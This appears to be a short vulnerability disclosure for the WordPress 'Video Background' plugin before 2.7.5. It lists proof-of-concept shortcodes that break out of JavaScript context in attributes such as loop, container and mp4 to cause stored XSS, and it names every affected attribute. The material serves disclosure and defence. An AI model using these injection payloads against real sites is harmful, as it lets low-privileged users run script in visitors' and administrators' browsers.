Video Background < 2.7.5 - Contributor+ Stored XSS via Shortcode

Proof of Concept

v < 2.7.5
[vidbg loop="1});alert(/XSS-loop/); $().vidbg({a:2"]

Other affected attributes (same payload): overlay, tap_to_unmute

v < 2.7.4
[vidbg container="body'); alert(1); $('"]
[vidbg mp4="'});alert(/XSS-mp4/); $('').vidbg({a:'"]
[vidbg loop="1});alert(/XSS-loop/); $().vidbg({a:2"]

All of the shortcode attributes are affected (ie container, mp4, webm, poster, loop, muted, overlay, overlay_color, overlay_alpha, tap_to_unmute, source)